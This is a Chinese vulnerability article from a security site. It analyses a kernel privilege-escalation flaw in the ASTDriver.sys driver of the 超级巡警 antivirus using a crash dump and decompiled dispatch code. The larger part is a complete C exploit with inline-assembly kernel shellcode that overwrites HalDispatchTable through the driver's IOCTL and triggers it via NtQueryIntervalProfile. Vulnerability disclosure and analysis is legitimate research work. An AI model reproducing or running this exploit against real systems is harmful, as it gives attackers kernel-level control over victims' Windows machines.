首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
超级巡警 <= v4 Build0316 ASTDriver.sys 本地特权提升漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-07-16  

该漏洞是我2010年4月6日晚上,通过自己的IoControl Fuzz工具挖掘的。漏洞存在于超级巡警ASTDriver.sys这个驱动中,影响超级巡警v4 Build0316和以前的版本。利用该漏洞能够实现本地特权提升,进Ring0。

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 89441428, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9c7569b, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
PROCESS_NAME: ast.exe
TRAP_FRAME: f94f1b00 -- (.trap 0xfffffffff94f1b00)
ErrCode = 00000002
eax=89441428 ebx=81266840 ecx=89441428 edx=ffa7c2d8 esi=81312da0 edi=811fc230
eip=f9c7569b esp=f94f1b74 ebp=f94f1b90 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
ASTDriver+0x169b:
f9c7569b c70000000000 mov dword ptr [eax],0 ds:0023:89441428=????????
Resetting default scope
STACK_TEXT:
f94f1634 804f9afd 00000003 89441428 00000000 nt!RtlpBreakWithStatusInstruction
f94f1680 804fa6e8 00000003 00000000 c044a208 nt!KiBugCheckDebugBreak+0x19
f94f1a60 804fac37 00000050 89441428 00000001 nt!KeBugCheck2+0x574
f94f1a80 80520478 00000050 89441428 00000001 nt!KeBugCheckEx+0x1b
f94f1ae8 80544568 00000001 89441428 00000000 nt!MmAccessFault+0x9a8
f94f1ae8 f9c7569b 00000001 89441428 00000000 nt!KiTrap0E+0xd0
WARNING: Stack unwind information not available. Following frames may be wrong.
f94f1b90 f9c75184 89441428 5fea3278 50000408 ASTDriver+0x169b
f94f1bc4 804efeb1 81286f18 81266840 806e5410 ASTDriver+0x1184
f94f1bd4 8057f688 812668b0 8125fbe8 81266840 nt!IopfCallDriver+0x31
f94f1be8 805804eb 81286f18 81266840 8125fbe8 nt!IopSynchronousServiceTail+0x60
f94f1c84 8057904e 00000928 00000000 00000000 nt!IopXxxControlFile+0x5c5
f94f1cb8 f74ecb12 00000928 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f94f1d34 8054160c 00000928 00000000 00000000 BehaviorMon!HookNtDeviceIoControlFile+0x892
//省略……
从上面分析中的栈回溯可以看出,问题发生在ASTDriver+0x169b所在的函数中,这个函数是从ASTDriver+0x1184所在的函数调用过来的。因此我们先定位到ASTDriver+0x1184所在的函数,如下所示:
signed int __stdcall sub_110D0(int a1, PIRP Irp)
{
signed int result; // eax@2
int pIrpStack; // [sp+8h] [bp-1Ch]@1
int v4; // [sp+Ch] [bp-18h]@10
int secondDWORD; // [sp+10h] [bp-14h]@3
PVOID systemBuffer; // [sp+18h] [bp-Ch]@1
int firstDWORD; // [sp+1Ch] [bp-8h]@3
int IoControlCode; // [sp+20h] [bp-4h]@3
pIrpStack = (int)Irp->Tail.Overlay.CurrentStackLocation;
systemBuffer = Irp->AssociatedIrp.MasterIrp;
if ( *(_DWORD *)(pIrpStack + 8) == 16 )
{
secondDWORD = *((_DWORD *)systemBuffer + 1);
firstDWORD = *(_DWORD *)systemBuffer;
IoControlCode = *(_DWORD *)(pIrpStack + 12);
switch ( IoControlCode )
{
case 0x50000404:
v4 = sub_112B0(firstDWORD, secondDWORD, *((PVOID *)systemBuffer + 2), *((_DWORD *)systemBuffer + 3));
break;
case 0x50000408:
v4 = sub_11690((PVOID)firstDWORD, secondDWORD);
break;
case 0x5000040C:
v4 = sub_11810((PVOID)firstDWORD, secondDWORD);
break;
}
IofCompleteRequest(Irp, 0);
result = v4;
}
else
{
IofCompleteRequest(Irp, 0);
result = 0xC000000Du;
}
return result;
}
该函数实际上就是驱动的派遣函数。当IoControlCode为0x50000408时,会调用sub_11690函数,参数有两个,第一个参数是用户输入缓冲区中的第一个DWORD,第二个参数是用户输入缓冲区的第二个DWORD。从Windbg输出的被随机化的用户输入数据可以看到,这两个 DWORD分别是0x89441428和0x5fea3278,这一点和栈回溯的结果是一致的。
f94f1b90 f9c75184 89441428 5fea3278 50000408 ASTDriver+0x169b
接下来,我们需要分析一下sub_11690函数的内部逻辑,
signed int __stdcall sub_11690(PVOID firstDWORD, int secondDWORD)
{
signed int result; // eax@2
unsigned int v3; // [sp+0h] [bp-1Ch]@6
int v4; // [sp+4h] [bp-18h]@6
int v5; // [sp+14h] [bp-8h]@6
PVOID v6; // [sp+18h] [bp-4h]@15
*(_DWORD *)firstDWORD = 0;
if ( secondDWORD == 32 )
{
if ( MmIsAddressValid(firstDWORD) && MmIsAddressValid(firstDWORD + secondDWORD - 1) )
{
//省略部分代码……
}
}
return result;
}
这个函数有一个致命的错误,函数开头没有对firstDWORD进行任何检查,直接向firstDWORD地址所指向的DWORD赋值为0,而 firstDWORD是我们可以控制的。
至此,该漏洞已经分析完毕。漏洞利用起来也非常简单,只要将要修改的Ring0内存地址放在输入缓冲区的第一个DWORD即可。然后向设备\device \ASTDrivers发送IoControlCode为0x50000408的IoControl。这样便实现了向任意地址写0的作用。
另外,如果进一步研究上面sub_11690函数的内部逻辑,如果不利用“*(_DWORD *)firstDWORD = 0;”这句代码的漏洞,函数中还有其他几处漏洞可以利用,最终实现向任意地址写入任意数据的效果。
测试方法
 

  1. #include "ASTDrivers_Exp.h" 
  2. #include "InvbShellCode.h" 
  3.  
  4. #define BUFFER_LENGTH 0x04 
  5. #define IOCTL_METHOD_NEITHER 0x5000040c 
  6.  
  7.  
  8. VOID InbvShellCode() 
  9. { 
  10. __asm 
  11. { 
  12. // 
  13. // KeDisableInterrupts 
  14. // 
  15. pushf 
  16. pop eax 
  17. and eax, 0x0200 
  18. shr eax, 0x09 
  19. cli 
  20.  
  21. // 
  22. // Prepareing Screen 
  23. // 
  24. call InbvAcquireDisplayOwnership 
  25.  
  26. call InbvResetDisplay 
  27.  
  28. sub esi, esi 
  29. push 0x04 
  30. mov edi, 0x01DF 
  31. push edi 
  32. mov ebx, 0x027F 
  33. push ebx 
  34. push esi 
  35. push esi 
  36. call InbvSolidColorFill 
  37.  
  38. push 0x0F 
  39. call InbvSetTextColor 
  40.  
  41. push esi 
  42. call InbvInstallDisplayStringFilter 
  43.  
  44. inc esi 
  45. push esi 
  46. call InbvEnableDisplayString 
  47.  
  48. dec edi 
  49. dec edi 
  50. push edi 
  51. push ebx 
  52. dec esi 
  53. push esi 
  54. push esi 
  55. call InbvSetScrollRegion 
  56.  
  57. lea eax, BugCheckString 
  58. push eax 
  59. call InbvDisplayString 
  60.  
  61. mov esi, 0x80000000 
  62. mov ecx, esi 
  63.  
  64. // 
  65. // Countdown 
  66. // 
  67. __loop01: 
  68. dec ecx 
  69. jnz __loop01 
  70.  
  71. lea eax, BugCheck01 
  72. push eax 
  73. call InbvDisplayString 
  74.  
  75. mov ecx, esi 
  76.  
  77. __loop02: 
  78. dec ecx 
  79. jnz __loop02 
  80.  
  81. lea eax, BugCheck02 
  82. push eax 
  83. call InbvDisplayString 
  84.  
  85. mov ecx, esi 
  86.  
  87. __loop03: 
  88. dec ecx 
  89. jnz __loop03 
  90.  
  91. lea eax, BugCheck03 
  92. push eax 
  93. call InbvDisplayString 
  94.  
  95. mov ecx, esi 
  96.  
  97. __loop04: 
  98. dec ecx 
  99. jnz __loop04 
  100.  
  101. lea eax, BugCheck04 
  102. push eax 
  103. call InbvDisplayString 
  104.  
  105. mov ecx, esi 
  106. shl ecx, 0x01 
  107.  
  108. __loop05: 
  109. dec ecx 
  110. jnz __loop05 
  111.  
  112. // 
  113. // Reseting Processor 
  114. // 
  115. mov al, 0xFE 
  116. out 0x64, al 
  117. } 
  118. } 
  119.  
  120.  
  121. PVOID RtlAllocateMemory( 
  122. IN ULONG Length) 
  123. { 
  124. NTSTATUS NtStatus; 
  125.  
  126. PVOID BaseAddress = NULL; 
  127.  
  128.  
  129. NtStatus = NtAllocateVirtualMemory( 
  130. NtCurrentProcess(), 
  131. &BaseAddress, 
  132. 0, 
  133. &Length, 
  134. MEM_RESERVE | 
  135. MEM_COMMIT, 
  136. PAGE_READWRITE); 
  137.  
  138. if(NtStatus == STATUS_SUCCESS) 
  139. { 
  140. RtlZeroMemory(BaseAddress, Length); 
  141.  
  142. return BaseAddress; 
  143. } 
  144.  
  145. return NULL; 
  146. } 
  147.  
  148. VOID RtlFreeMemory( 
  149. IN PVOID BaseAddress) 
  150. { 
  151. NTSTATUS NtStatus; 
  152.  
  153. ULONG FreeSize = 0; 
  154.  
  155.  
  156. NtStatus = NtFreeVirtualMemory( 
  157. NtCurrentProcess(), 
  158. &BaseAddress, 
  159. &FreeSize, 
  160. MEM_RELEASE); 
  161. } 
  162. char g_ressdtDataForAst[32]={0}; 
  163. char g_ressdtInputBuffer[16]={0};//输入的缓冲区 
  164.  
  165.  
  166. int __cdecl main(int argc, char **argv) 
  167. { 
  168. NTSTATUS NtStatus; 
  169.  
  170. HANDLE DeviceHandle; 
  171. ULONG ReturnLength = 0; 
  172.  
  173. ULONG ImageBase; 
  174. PVOID MappedBase; 
  175. UCHAR ImageName[KERNEL_NAME_LENGTH]; 
  176. ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; 
  177. PVOID HalDispatchTable; 
  178. PVOID xHalQuerySystemInformation; 
  179. PVOID MmUserProbeAddress; 
  180.  
  181. ULONG ShellCodeSize = PAGE_SIZE; 
  182. PVOID ShellCodeAddress; 
  183. PVOID BaseAddress = NULL; 
  184.  
  185. UNICODE_STRING DeviceName; 
  186. UNICODE_STRING DllName; 
  187. ANSI_STRING ProcedureName; 
  188. OBJECT_ATTRIBUTES ObjectAttributes; 
  189. IO_STATUS_BLOCK IoStatusBlock; 
  190. SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL; 
  191. LARGE_INTEGER Interval; 
  192.  
  193. ULONG TextColor; 
  194.  
  195. /////////////////////////////////////////////////////////////////////////////////////////////// 
  196.  
  197. system("cls"); 
  198.  
  199. NtStatus = NtQuerySystemInformation( 
  200. SystemModuleInformation, 
  201. ModuleInformation, 
  202. ReturnLength, 
  203. &ReturnLength); 
  204.  
  205. if(NtStatus == STATUS_INFO_LENGTH_MISMATCH) 
  206. { 
  207. ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); 
  208.  
  209. ModuleInformation = RtlAllocateMemory(ReturnLength); 
  210.  
  211. if(ModuleInformation) 
  212. { 
  213. NtStatus = NtQuerySystemInformation( 
  214. SystemModuleInformation, 
  215. ModuleInformation, 
  216. ReturnLength, 
  217. NULL); 
  218.  
  219. if(NtStatus == STATUS_SUCCESS) 
  220. { 
  221. ImageBase = (ULONG)(ModuleInformation->Modules[0].Base); 
  222.  
  223. RtlMoveMemory( 
  224. ImageName, 
  225. (PVOID)(ModuleInformation->Modules[0].ImageName + 
  226. ModuleInformation->Modules[0].ModuleNameOffset), 
  227. KERNEL_NAME_LENGTH); 
  228.  
  229. printf(" +----------------------------------------------------------------------------+\n" 
  230. " | ImageBase - 0x%.8X |\n" 
  231. " | ImageName - %s |\n", 
  232. ImageBase, 
  233. ImageName); 
  234.  
  235.  
  236. RtlFreeMemory(ModuleInformation); 
  237.  
  238.  
  239. RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); 
  240.  
  241.  
  242. NtStatus = LdrLoadDll( 
  243. NULL, // DllPath 
  244. &DllCharacteristics, // DllCharacteristics 
  245. &DllName, // DllName 
  246. &MappedBase); // DllHandle 
  247.  
  248. if(NtStatus) 
  249. { 
  250. printf(" [*] NtStatus of LdrLoadDll - %.8X\n", NtStatus); 
  251. return NtStatus; 
  252. } 
  253.  
  254. RtlInitAnsiString(&ProcedureName, "HalDispatchTable"); 
  255.  
  256.  
  257. NtStatus = LdrGetProcedureAddress( 
  258. (PVOID)MappedBase, // DllHandle 
  259. &ProcedureName, // ProcedureName 
  260. 0, // ProcedureNumber OPTIONAL 
  261. (PVOID*)&HalDispatchTable); // ProcedureAddress 
  262.  
  263. if(NtStatus) 
  264. { 
  265. printf(" [*] NtStatus of LdrGetProcedureAddress - %.8X\n", NtStatus); 
  266. return NtStatus; 
  267. } 
  268.  
  269. (ULONG)HalDispatchTable -= (ULONG)MappedBase; 
  270. (ULONG)HalDispatchTable += ImageBase; 
  271.  
  272. (ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG); 
  273.  
  274. printf(" | |\n" 
  275. " | HalDispatchTable - 0x%.8X |\n" 
  276. " | xHalQuerySystemInformation - 0x%.8X |\n" 
  277. " +----------------------------------------------------------------------------+\n", 
  278. HalDispatchTable, 
  279. xHalQuerySystemInformation); 
  280.  
  281.  
  282. NtStatus = XxInitInbv(ImageBase, (ULONG)MappedBase); 
  283.  
  284. if(NtStatus) 
  285. { 
  286. printf(" [*] NtStatus of XxInitInbv - %.8X\n", NtStatus); 
  287. return NtStatus; 
  288. } 
  289.  
  290. LdrUnloadDll((PVOID)MappedBase); 
  291.  
  292.  
  293. RtlInitUnicodeString(&DeviceName, L"\\Device\\ASTDrivers"); 
  294.  
  295. ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 
  296. ObjectAttributes.RootDirectory = 0; 
  297. ObjectAttributes.ObjectName = &DeviceName; 
  298. ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; 
  299. ObjectAttributes.SecurityDescriptor = NULL; 
  300. ObjectAttributes.SecurityQualityOfService = NULL; 
  301.  
  302. NtStatus = NtCreateFile( 
  303. &DeviceHandle, // FileHandle 
  304. FILE_READ_DATA | 
  305. FILE_WRITE_DATA, // DesiredAccess 
  306. &ObjectAttributes, // ObjectAttributes 
  307. &IoStatusBlock, // IoStatusBlock 
  308. NULL, // AllocationSize OPTIONAL 
  309. 0, // FileAttributes 
  310. FILE_SHARE_READ | 
  311. FILE_SHARE_WRITE, // ShareAccess 
  312. FILE_OPEN_IF, // CreateDisposition 
  313. 0, // CreateOptions 
  314. NULL, // EaBuffer OPTIONAL 
  315. 0); // EaLength 
  316.  
  317. if(NtStatus) 
  318. { 
  319. printf(" [*] NtStatus of NtCreateFile - %.8X\n", NtStatus); 
  320. return NtStatus; 
  321. } 
  322.  
  323.  
  324. memset(g_ressdtDataForAst,0,32); 
  325. memset(g_ressdtInputBuffer,0,16); 
  326. *(DWORD *)g_ressdtDataForAst=2; 
  327. *(DWORD *)((ULONG)g_ressdtDataForAst+4)=0xFF; 
  328. *(DWORD *)((ULONG)g_ressdtDataForAst+8)=(DWORD)xHalQuerySystemInformation; 
  329. *(DWORD *)((ULONG)g_ressdtDataForAst+12)=2; 
  330. *(ULONG *)((ULONG)g_ressdtDataForAst+16)=4; 
  331. *(ULONG *)((ULONG)g_ressdtDataForAst+20)=0x90; 
  332. *(ULONG *)((ULONG)g_ressdtDataForAst+24)=0x90; 
  333. *(ULONG *)((ULONG)g_ressdtDataForAst+28)=0x90; 
  334.  
  335. //设置缓冲区中的指针 使其指向真实的结构体 
  336. *(DWORD *)g_ressdtInputBuffer=(DWORD)g_ressdtDataForAst; 
  337.  
  338.  
  339. NtStatus = NtDeviceIoControlFile( 
  340. DeviceHandle, // FileHandle 
  341. NULL, // Event 
  342. NULL, // ApcRoutine 
  343. NULL, // ApcContext 
  344. &IoStatusBlock, // IoStatusBlock 
  345. IOCTL_METHOD_NEITHER, // IoControlCode 
  346. g_ressdtInputBuffer, // InputBuffer 
  347. 16, // InputBufferLength 
  348. 0, // OutputBuffer 
  349. 0); // OutBufferLength 
  350.  
  351. if(NtStatus) 
  352. { 
  353. printf(" [*] NtStatus of NtDeviceIoControlFile [1] - %.8X\n", NtStatus); 
  354. //return NtStatus; 
  355. } 
  356.  
  357.  
  358. ShellCodeAddress = (PVOID)sizeof(ULONG); 
  359.  
  360. NtStatus = NtAllocateVirtualMemory( 
  361. NtCurrentProcess(), // ProcessHandle 
  362. &ShellCodeAddress, // BaseAddress 
  363. 0, // ZeroBits 
  364. &ShellCodeSize, // AllocationSize 
  365. MEM_RESERVE | 
  366. MEM_COMMIT | 
  367. MEM_TOP_DOWN, // AllocationType 
  368. PAGE_EXECUTE_READWRITE); // Protect 
  369.  
  370. if(NtStatus) 
  371. { 
  372. printf(" [*] NtStatus of NtAllocateVirtualMemory - %.8X\n", NtStatus); 
  373. return NtStatus; 
  374. } 
  375.  
  376. RtlMoveMemory( 
  377. ShellCodeAddress, 
  378. (PVOID)InbvShellCode, 
  379. ShellCodeSize); 
  380.  
  381. Interval.LowPart = 0xFF676980; 
  382. Interval.HighPart = 0xFFFFFFFF; 
  383.  
  384. printf("\n 3"); 
  385. NtDelayExecution(FALSE, &Interval); 
  386.  
  387. printf(" 2"); 
  388. NtDelayExecution(FALSE, &Interval); 
  389.  
  390. printf(" 1"); 
  391. NtDelayExecution(FALSE, &Interval); 
  392.  
  393. printf(" Hoop\n\n"); 
  394. NtDelayExecution(FALSE, &Interval); 
  395.  
  396.  
  397. NtStatus = NtQueryIntervalProfile( 
  398. ProfileTotalIssues, // Source 
  399. NULL); // Interval 
  400.  
  401. if(NtStatus) 
  402. { 
  403. printf(" [*] NtStatus of NtQueryIntervalProfile - %.8X\n", NtStatus); 
  404. return NtStatus; 
  405. } 
  406.  
  407.  
  408. NtStatus = NtClose(DeviceHandle); 
  409.  
  410. if(NtStatus) 
  411. { 
  412. printf(" [*] NtStatus of NtClose - %.8X\n", NtStatus); 
  413. return NtStatus; 
  414. } 
  415. } 
  416. } 
  417. } 
  418.  
  419. return FALSE; 
  420. } 

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·Discuz!后台拿Webshell 0day
·ecshop2.72 api.php 文件鸡肋注
  相关文章
·v5shop 网上商城系统通杀oday
·PHPCMS2008 sp3、sp4 SQL注入漏
·天缘学校网站系统 v1.3 上传漏洞
·Struts2/XWork 安全漏洞及解决办
·百度贴吧吧主密码窃取漏洞
·114啦网址导航建站系统跨站漏洞
·PHP代码执行漏洞-总结
·MyPHP Forum SQL注入漏洞
·HDWiki百科程序后台Getshell漏洞
·中嘉华诚内核加固免疫系统单机版
·Struts2和Webwork远程命令执行漏
·最新 phpcms 0day(图)
  推荐广告
CopyRight © 2002-2025 VFocuS.Net All Rights Reserved